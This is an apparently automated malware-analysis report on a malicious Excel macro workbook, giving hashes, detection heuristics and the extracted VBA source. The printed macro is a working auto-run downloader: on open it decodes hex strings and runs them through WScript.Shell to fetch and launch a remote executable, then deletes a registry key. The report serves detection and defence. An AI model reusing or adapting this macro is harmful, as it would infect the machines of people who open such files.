Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 0cd574b7cdf2f6f4…

MALICIOUS

Office (OOXML) / .XLSM

144.3 KB Created: 2021-02-10 00:39:50 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-02-19
MD5: fd441cc757ae13c6685aba881ef79f34 SHA-1: 9e781af5014bac74813199479060f30e7e072804 SHA-256: 0cd574b7cdf2f6f4067aaadc3a330ecf90196e910f2f857fe3b2ec0ab9c7b31e
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an XLSM file containing VBA macros. The Workbook_Open macro executes obfuscated code using WScript.Shell, which is indicative of a downloader or dropper. The script attempts to run a second-stage payload and also attempts to delete a registry key related to persistence. The obfuscated strings decode to commands that likely download and execute further malicious content.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set ghhfgfgdsfas = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set ghhfgfgdsfas = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2077 bytes
SHA-256: 9a7c5d9eb8ed75b5f0599f1859c5f258aef5946ba18c23dcb08739deaadb2add
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
 Set ghhfgfgdsfas = CreateObject("WScript.Shell")
 xx = "887B7D36777A7A36385E61596B725B848C7F888584837B848A3836458C36388D7F847A7F883836457A363879837A364579368674858D7B88897E747B82748236438D364736577A7A43638666887B7C7B887B84797B36435B8E79828B897F858466778A7E36383A7B848C506A7B83863851698A77888A4369827B7B8636474851363E647B8D436578807B798A36647B8A446D7B7859827F7B848A3F445A858D848285777A5C7F827B3E3D7E8A8A86504545797A4E48474B4D448A838D7B7844888B457C7F82457888778C7B898A3B48468A7B827B7D887783447B8E7B3D423E3A7B848C506A7B83863F413D72815B6E675D447B8E7B3D3F51698A77888A4369827B7B8636485136698A77888A43668885797B8989363A7B848C506A7B838672815B6E675D447B8E7B513C685B63363D"
  sxx = "5E615B6F75596B68685B646A756B695B68725B848C7F888584837B848A728D7F847A7F88"
    sssxx = "89797E8A778981893645888B8436458A843672637F79888589857C8A726D7F847A858D89725A7F898159827B77848B8672697F827B848A59827B77848B8636455F"
   ghhfgfgdsfas.Run (asdsadsadwqdwqdqw(xx))
   Set ghhfgfgdsfas = CreateObject("WScript.Shell")
  ghhfgfgdsfas.Run (asdsadsadwqdwqdqw(sssxx))
   Application.Wait (Now + TimeValue("0:00:07"))
     ghhfgfgdsfas.RegDelete (asdsadsadwqdwqdqw(sxx))

   ActiveWorkbook.Close
   End Sub
    Function asdsadsadwqdwqdqw(str)
        Dim i
        Dim sStr
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 22)
        Next
        asdsadsadwqdwqdqw = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16896 bytes
SHA-256: d0ca90a6a12efe90ef8aa3036c560431fa7faa11bca2c8fe78f0762f63cfd72c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).

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